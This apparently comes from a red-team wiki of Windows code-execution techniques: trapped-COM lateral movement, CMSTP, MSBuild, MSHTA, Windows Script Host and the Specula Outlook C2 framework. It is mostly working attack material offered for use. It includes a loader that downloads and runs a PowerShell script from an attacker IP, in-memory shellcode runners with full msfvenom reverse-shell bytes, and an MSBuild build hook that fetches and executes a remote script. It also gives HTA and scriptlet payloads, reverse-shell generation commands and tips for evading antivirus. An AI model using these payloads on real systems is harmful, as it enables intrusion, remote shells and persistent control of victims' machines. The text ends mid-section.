A trapped COM object is a bug class in which a COM client instantiates a COM class in an out-of-process DCOM server, where the client controls the COM object via a marshaled-by-reference object pointer. Depending on the condition, this control vector may present security-related logic flaws.

#### IDispatch

The [IDispatch](https://learn.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-idispatch) interfaces facilitates late binding to methods and properties of COM objects. Unlike traditional COM clients that use compile-time interface definitions, late binding allows clients to discover and call methods dynamically at runtime

The [IDispatch](https://learn.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-idispatch) interface support the following methods:

* `GetTypeInfoCount` : returns 0 or 1 if the object provides type information.
* `GetTypeInfo` : Provides access to an `ITypeInfo` interface for retrieving type information of an object.
* `GetIDsOfNames` : takes human-readable names (such as "Workbooks") and returns a number (known as a dispatch identifier or dispID) that maps to the object's associated method or property.
* `Invoke` : Once you have the dispID number, you use Invoke to call the method or retrieve property data.

Via `ITypeLib` from `GetTypeInfo->ITypeInfo->GetContainingTypeLib` ,a client can retrieve type information of a COM class that use a type library.

In our case, the, **`WaaSRemediation`** references the type library **`WaaSRemediationLib`,** which in turn references **`stdole`** (OLE Automation). **`WaaSRemediationLib`** utilizes two COM classes from that library, **`StdFont`** and **`StdPicture`**. By performing [COM Hijacking](https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/) on the **`StdFont`** object via modifying its **`TreatAs`** registry key, the class will point to another COM class of our choosing, such as **`System.Object`** in the .NET Framework.

.NET objects are interesting to us because of **`System.Object`**’s **`GetType`** method. Through **`GetType`,** we can perform .NET reflection to eventually access **`Assembly.Load`**. While **`System.Object`** was chosen, this type happens to be the root of the type hierarchy in .NET. Therefore, any .NET COM object could be used.

#### **AllowDCOMReflection**

To leverage this technique, we need to enable the `AllowDCOMReflection` (DWORD) value under the `HKLM\Software\Microsoft\.NetFramework` registry key. This setting allows arbitrary reflection to call any .NET method, bypassing the mitigations in MS14-009 that typically prevent .NET reflection over DCOM.

#### **OnlyUseLatestCLR**

To ensure the correct version of the .NET CLR is loaded, we must also enable the `OnlyUseLatestCLR` (DWORD) value under the `HKLM\Software\Microsoft\.NetFramework` registry key. This setting ensures the latest .NET CLR (version 4) is loaded, as the default is version 2 unless explicitly enabled.

## Practice

{% tabs %}
{% tab title="Windows" %}
**ForsHops**

To leverage the previously explained method, we can use the [ForsHops](https://github.com/xforcered/ForsHops) (C#) proof-of-concept.

```
forshops.exe [target machine] [c:\\path\\to\\assembly\\to\\load]
```

**POC Demo**

In this demo, we will use the below C# code that loads a[ custom PowerShell runspace](https://red.infiltr8.io/redteam/weapon/code-execution/whithout-powershell) to retrieve and execute a second-stage payload directly in memory.

{% code title="GetRev.cs" %}

```csharp
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

class Program
{
    static void Main()
    {
        string command = "IEX(New-Object Net.WebClient).DownloadString('http://192.168.206.126/run.txt')";

        using (Runspace runspace = RunspaceFactory.CreateRunspace())
        {
            runspace.Open();
            using (PowerShell ps = PowerShell.Create())
            {
                ps.Runspace = runspace;
                ps.AddScript(command);

                foreach (var result in ps.Invoke())
                {
                    Console.WriteLine(result);
                }
            }
        }
    }
}
```

{% endcode %}

After compiling our malicious .NET as GetRev.exe, we host the following run.txt file on our attacking machine:

{% code title="run.txt" %}

```powershell
function potatoes {
Param ($cherries, $pineapple)
$tomatoes = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$turnips=@()
$tomatoes.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$turnips+=$_}}
return $turnips[0].Invoke($null, @(($tomatoes.GetMethod('GetModuleHandle')).Invoke($null, @($cherries)), $pineapple))
}
function apples {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
$cucumbers = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((potatoes kernel32.dll VirtualAlloc), (apples @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

# MSFVenom reverse Shell
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x48,0x31,0xd2,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x50,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x1,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0xd,0xac,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x0,0x0,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x1,0x0,0x0,0x49,0x89,0xe5,0x49,0xbc,0x2,0x0,0x1,0xbb,0xc0,0xa8,0xce,0x7e,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x7,0xff,0xd5,0x4c,0x89,0xea,0x68,0x1,0x1,0x0,0x0,0x59,0x41,0xba,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0xa,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0x49,0xff,0xce,0x75,0xe5,0xe8,0x93,0x0,0x0,0x0,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x4,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,0x59,0x68,0x0,0x10,0x0,0x0,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x0,0x40,0x0,0x0,0x41,0x58,0x6a,0x0,0x5a,0x41,0xba,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x1,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,0x6a,0x0,0x59,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0x89,0xda,0xff,0xd5

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $cucumbers, $buf.length)
$parsnips =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((potatoes kernel32.dll CreateThread), (apples @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$cucumbers,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((potatoes kernel32.dll WaitForSingleObject), (apples @([IntPtr], [Int32]) ([Int]))).Invoke($parsnips, 0xFFFFFFFF)  
```

{% endcode %}

Finally we can use the [ForsHops](https://github.com/xforcered/ForsHops) (C#) proof-of-concept to execute GetRev.exe assembly on a remote computer:

<figure><img src="/files/L1WcbepEiLgjABgTcQxP" alt=""><figcaption></figcaption></figure>
{% endtab %}

{% tab title="UNIX-Like" %}
At time of writting this technique can't be performed from an UNIX-based host.
{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://www.ibm.com/think/news/fileless-lateral-movement-trapped-com-objects>" %}

{% embed url="<https://mohamed-fakroud.gitbook.io/red-teamings-dojo/abusing-idispatch-for-trapped-com-object-access-and-injecting-into-ppl-processes>" %}

{% embed url="<https://googleprojectzero.blogspot.com/2025/01/windows-bug-class-accessing-trapped-com.html>" %}

{% embed url="<https://nolongerset.com/the-idispatch-interface/>" %}


# DLL Injection


# CreateRemoteThread Injection


# Reflective DLL Injection


# NtMapViewOfSection Injection


# SetWindowHookEx Injection


# PoolParty

<https://github.com/SafeBreach-Labs/PoolParty>


# MockingJay

<https://github.com/caueb/Mockingjay>


# Code Execution


# CMSTP

## Theory

Cmstp.exe is a indows binary that allow administrator to installs or removes a Connection Manager service profile. As a red teamer, we can abuse it to execute code and bypass application whitelisting.

## Practice

{% tabs %}
{% tab title="cmstp.exe" %}
First, generate a reverse shell as dll

```bash
v4resk@kali$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f dll > /root/tools/mitre/cmstp/evil.dll
```

Creating a file that will be loaded by CSMTP.exe binary that will in turn load our evil.dll:

```bash
#f.inf
[version]
Signature=$chicago$
AdvancedINF=2.5
 
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
 
[RegisterOCXSection]
C:\experiments\cmstp\evil.dll
 
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="mantvydas"
ShortSvcName="mantvydas"
```

Now, we can invoke the payload:

```bash
PS C:\experiments\cmstp> cmstp.exe /s .\f.inf
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://tryhackme.com/room/livingofftheland>" %}

{% embed url="<https://www.ired.team/offensive-security/code-execution/t1191-cmstp-code-execution>" %}


# MSBuild

## Theory

The Microsoft Build Engine is a platform for building applications. This engine, which is also known as MSBuild, provides an XML schema for a project file that controls how the build platform processes and builds software. Visual Studio uses MSBuild, but MSBuild doesn't depend on Visual Studio. By invoking msbuild.exe or dotnet build on your project or solution file, you can orchestrate and build products in environments where Visual Studio isn't installed.

We can execute code with help of MsBuild.exe by providing a .xml or .csproj file

## Practice

{% tabs %}
{% tab title="Csproj" %}
Build and execute a C# project stored in the target csproj file.

```bash
msbuild.exe project.csproj
```

{% hint style="danger" %}
You may want to look at [Powershell without Powershell.exe](/redteam/weapon/code-execution/whithout-powershell) to convert ps1 scripts to .csporj file.
{% endhint %}

We may use the following csproj file to execute commands

{% code title="project.csproj" %}

```xml
<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
   <Target Name="Shell" BeforeTargets="Build">
    <Exec Command="powershell.exe -c iex(iwr -UseBasicParsing http://10.10.14.11:8080/rev.ps1)" />
  </Target>
</Project>

```

{% endcode %}

Otherwise, you may generate a shellcode using msvfenom in csharp output format

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f csharp -e x86/shikata_ga_nai -i <num of iterations> > project.csproj
```

Put the buffer into the template (be sure to change payload buffer, buffer size and some strings for av evasion:

{% code title="project.csproj" %}

```xml
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample :  Task, ITask
        {         
          private static UInt32 MEM_COMMIT = 0x1000;          
          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
          [DllImport("kernel32")]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
          [DllImport("kernel32")]
            private static extern IntPtr CreateThread(            
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId           
            );
          [DllImport("kernel32")]
            private static extern UInt32 WaitForSingleObject(           
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );          
          public override bool Execute()
          {
            byte[] shellcode = new byte[195] {};

              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
              IntPtr hThread = IntPtr.Zero;
              UInt32 threadId = 0;
              IntPtr pinfo = IntPtr.Zero;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
              WaitForSingleObject(hThread, 0xFFFFFFFF);
              return true;
          } 
        }     
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
```

{% endcode %}
{% endtab %}

{% tab title="XML" %}
Generate meterpreter shellode in c#:

```bash
v4resk@kali$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f csharp
```

Insert shellcode into the shellcode variable in linne 46:

```bash
#bad.xml
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
         <!-- This inline task executes shellcode. -->
         <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
         <!-- Save This File And Execute The Above Command -->
         <!-- Author: Casey Smith, Twitter: @subTee -->
         <!-- License: BSD 3-Clause -->
	  <Target Name="Hello">
	    <ClassExample />
	  </Target>
	  <UsingTask
	    TaskName="ClassExample"
	    TaskFactory="CodeTaskFactory"
	    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
	    <Task>
	    
	      <Code Type="Class" Language="cs">
	      <![CDATA[
		using System;
		using System.Runtime.InteropServices;
		using Microsoft.Build.Framework;
		using Microsoft.Build.Utilities;
		public class ClassExample :  Task, ITask
		{         
		  private static UInt32 MEM_COMMIT = 0x1000;          
		  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
		  [DllImport("kernel32")]
		    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
		    UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
		  [DllImport("kernel32")]
		    private static extern IntPtr CreateThread(            
		    UInt32 lpThreadAttributes,
		    UInt32 dwStackSize,
		    UInt32 lpStartAddress,
		    IntPtr param,
		    UInt32 dwCreationFlags,
		    ref UInt32 lpThreadId           
		    );
		  [DllImport("kernel32")]
		    private static extern UInt32 WaitForSingleObject(           
		    IntPtr hHandle,
		    UInt32 dwMilliseconds
		    );          
		  public override bool Execute()
		  {
			//replace with your own shellcode
		    byte[] shellcode = new byte[] { 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0x0a,0x00,0x00,0x05,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x67,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,0x70,0xff,0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc1,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5 };
		      
		      UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
			MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		      Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
		      IntPtr hThread = IntPtr.Zero;
		      UInt32 threadId = 0;
		      IntPtr pinfo = IntPtr.Zero;
		      hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
		      WaitForSingleObject(hThread, 0xFFFFFFFF);
		      return true;
		  } 
		}     
	      ]]>
	      </Code>
	    </Task>
	  </UsingTask>
	</Project>
```

Build and execute malicious payload on the victim system using MSBuild:

```bash
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\bad\bad.xml
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://tryhackme.com/room/livingofftheland>" %}

{% embed url="<https://www.ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c>" %}


# MSHTA

## Theroy

### An HTML Application (HTA)

HTA stands for “HTML Application.” It allows you to create a downloadable file that takes all the information regarding how it is displayed and rendered. HTML Applications, also known as HTAs, which are dynamic HTML pages containing JScript and VBScript. The LOLBINS (Living-of-the-land Binaries) tool mshta is used to execute HTA files. It can be executed by itself or automatically from Internet Explorer.

## Practice

{% tabs %}
{% tab title="Basic HTA" %}
In the following example, we will use an ActiveXObject in our payload as proof of concept to execute cmd.exe. Consider the following HTML code.

```bash
#http://10.0.0.5/m.hta
<html>
<body>
<script>
	var c= 'cmd.exe'
	new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>
```

We can now execute the script on the target machine

```bash
mshta.exe http://10.0.0.5/m.hta
```

{% endtab %}

{% tab title="scriptlet" %}
Writing a scriptlet file that will launch cmd.exe when invoked:

```bash
#http://10.0.0.5/m.sct
<?XML version="1.0"?>
<scriptlet>
<registration description="Desc" progid="Progid" version="0" classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"></registration>

<public>
    <method name="Exec"></method>
</public>

<script language="JScript">
<![CDATA[
	function Exec()	{
		var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
	}
]]>
</script>
</scriptlet>
```

We can now execute the script on the target machine

```bash
# from powershell
cmd /c mshta.exe javascript:a=(GetObject("script:http://10.0.0.5/m.sct")).Exec();close();
```

{% endtab %}

{% tab title="SharpShooter" %}
Using [SharpShooter](https://github.com/mdsecactivebreach/SharpShooter/tree/master), we can create a payload that will retrieve and execute arbitrary CSharp source code (.NET).

```bash
python2 SharpShooter.py --payload hta --rawscfile ~/sharpshooter.raw --dotnetver 2  --output test --stageless
```

{% endtab %}

{% tab title="msfvenom" %}
We can use the msfvenom framework to generate hta files.

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 -f hta-psh -o m.hta
```

We can now execute the script on the target machine

```bash
mshta.exe http://10.0.0.5/m.hta
```

{% endtab %}

{% tab title="metasploit" %}
We can use the metasploit framework to generate hta files and directly serv it throught our webserver.

```bash
msf6 > use exploit/windows/misc/hta_server
msf6 exploit(windows/misc/hta_server) > set LHOST 10.8.232.37
LHOST => 10.8.232.37
msf6 exploit(windows/misc/hta_server) > set LPORT 443
LPORT => 443
msf6 exploit(windows/misc/hta_server) > set SRVHOST 10.8.232.37
SRVHOST => 10.8.232.37
msf6 exploit(windows/misc/hta_server) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/hta_server) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/misc/hta_server) >
[*] Started reverse TCP handler on 10.8.232.37:443
[*] Using URL: http://10.8.232.37:8080/TkWV9zkd.hta
[*] Server started.
```

On the victim machine, once we visit the malicious HTA file that was provided as a URL by Metasploit, we should receive a reverse connection.
{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://tryhackme.com/room/weaponization>" %}

{% embed url="<https://www.ired.team/offensive-security/code-execution/t1170-mshta-code-execution>" %}


# Microsoft Office Execution

In this section, you will find various techniques for initial access and execution.

{% content-ref url="/pages/8o0GdbqcXmXHz3oGbZGi" %}
[Phishing With Microsoft Office](/redteam/delivery/phishing/phishing-with-ms-office)
{% endcontent-ref %}


# Windows Script Host (WSH)

## Theory

Windows scripting host is a built-in Windows administration tool that runs batch files to automate and manage tasks within the operating system. It is a Windows native engine, cscript.exe (for command-line scripts) and wscript.exe (for UI scripts), which are responsible for executing various Microsoft Visual Basic Scripts (VBScript), including vbs and vbe.

## Practice

{% tabs %}
{% tab title="Basic Usage" %}
let's use the VBScript to run executable files. The following vbs code is to invoke the Windows calculator, proof that we can execute .exe files using the Windows native engine (WSH).

```bash
#openCalc.vbs
Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True
```

We can now execute the vbs script on the target machine

```bash
cscript.exe c:\Users\Veresk\Desktop\openCalc.vbs
wscript.exe c:\Users\Veresk\Desktop\openCalc.vbs
```

A trick is to change the .vbs extension by a randomly choosen one.

```bash
wscript.exe /e:VBScript c:\Users\Veresk\Desktop\openCalc.odt
```

{% endtab %}

{% tab title="pubprn.vbs" %}
Using [pubprn.vbs](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc753116\(v=ws.11\)), we will execute code to launch calc.exe. First of, the xml that will be executed by the script:

```bash
#http://192.168.2.71/tools/mitre/proxy-script/proxy.sct
<?XML version="1.0"?>
<scriptlet>

<registration
    description="Bandit"
    progid="Bandit"
    version="1.00"
    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"   
	>
</registration>

<script language="JScript">
<![CDATA[
		var r = new ActiveXObject("WScript.Shell").Run("calc.exe");	
]]>
</script>

</scriptlet>
```

On the victime computer:

```bash
cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:http://192.168.2.71/tools/mitre/proxy-script/proxy.sct
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://tryhackme.com/room/weaponization>" %}

{% embed url="<https://www.ired.team/offensive-security/code-execution/t1216-signed-script-ce>" %}


# Outlook Home Page Abuse (Specula)

## Theory

[Specula ](https://github.com/trustedsec/specula)is a framework designed to enable interactive operations of an implant within the context of Outlook. It achieves this by setting a custom Outlook homepage via registry keys that call out to an interactive Python web server. This web server serves custom patched VBScript files that execute a command and return a string response.

Despite the belief that the Outlook home page functionality had been patched ([CVE-2017-11774](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2017-11774)), it was discovered that the associated Registry values continue to be utilized by Outlook, even in current Office 365 installs.

To establish a C2 channel, an attacker can modify a single non-privileged Registry key, creating the `REG_SZ` value of `URL` under `HKCU\Software\Microsoft\Office\16.0\Outlook\WebView\Inbox` and pointing it to the validation URL on the Specula server:

## Practice

{% tabs %}
{% tab title="Setting up" %}
You can use IP addresses, but a recommendation is to use a DNS record. In this example we are going to use DNS. Start by pointing a DNS record towards your public IP of the server you will be using as a Specula server. Let us pretend that we created an A-record named demo.specula.com with the value of our public IP.

**HTTPS**

If you are planning to use SSL (Recommended) you will need to request the certificates. This guide shows how to do that with free let's encrypt certificates. We first need to install certbot:

```
apt install certbot
```

Next you want to make sure that you have allowed inbound communication on port 80/443. Then we request a certificate using the example of demo.specula.com (change this to your environment):

```
certbot certonly --non-interactive --agree-tos --email <SOME EMAIL ADDRESS> --standalone --preferred-challenges http -d demo.specula.com
```

This will produce certificate files so note down the paths to them, since you will need to reference them when starting Specula for the first time. In our example we want to keep these lines:

```
/etc/letsencrypt/live/demo.specula.com/fullchain.pem
/etc/letsencrypt/live/demo.specula.com/privkey.pem
```

The path to fullchain.pem will be the input when Specula asks for the *cert\_file* as part of the startup and the privkey.pem will be to the *key\_file*.

**Setting up Specula**

First you should install a python virtual environment. You can of course install to the global package root, but this can cause issues that are later hard to diagnose.

If you're unfamiliar with python virtual environments and just want to know what to type a basic install would look like

```
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
```

**Starting Specula**

```
sudo python specula.py
```

Since this is the first time you are starting Specula it will ask you for a variety of options, which will then be stored and used for future runs. The settings will be stored in a file called *specConfig.ini*. If you ever want to reset your settings and start over this file can be removed.
{% endtab %}

{% tab title="Hook an agent" %}

#### Edit Registry

To hook an agent, all you need to do is to create the registry `REG_SZ` value of `URL` under `HKCU\Software\Microsoft\Office\16.0\Outlook\WebView\Inbox` and add the value pointing to your validation url on the Specula server.

<figure><img src="/files/HKrPnx5Cmd4yyuEQEuRh" alt=""><figcaption></figcaption></figure>

To avoid issues with ActiveX, it is recommended to adjust a few settings. Users can generate a full reg file with the recommended settings by running `generatehooker` from the root of the Specula menu. This reg file can then be copied to a Windows client with Outlook and imported. To ensure the registry key takes effect, Outlook should be stopped and restarted if it is running.

```
SpeculaC2> generatehooker 
```

<figure><img src="/files/rDsAM4V4ei01044Vv6Sk" alt=""><figcaption></figcaption></figure>

#### Approve Agent

The agent should now show up in Specula and depending on setup, you will either need to approve it manually (if initial\_checkin\_count is set to 0) or you will have to wait until the necessary checkins have been reached before Specula will generate an encryption key and send back to the agent. On the Outlook side when everything is completed, it will change view from Inbox to Calendar. Once you change view back to Inbox you have a fully Specula agent running.

```powershell
# List agents
SpeculaC2> agents
id  hostname:username             ip address        refreshTime  Lastseen              approved    encryptionkey            api installed/verified
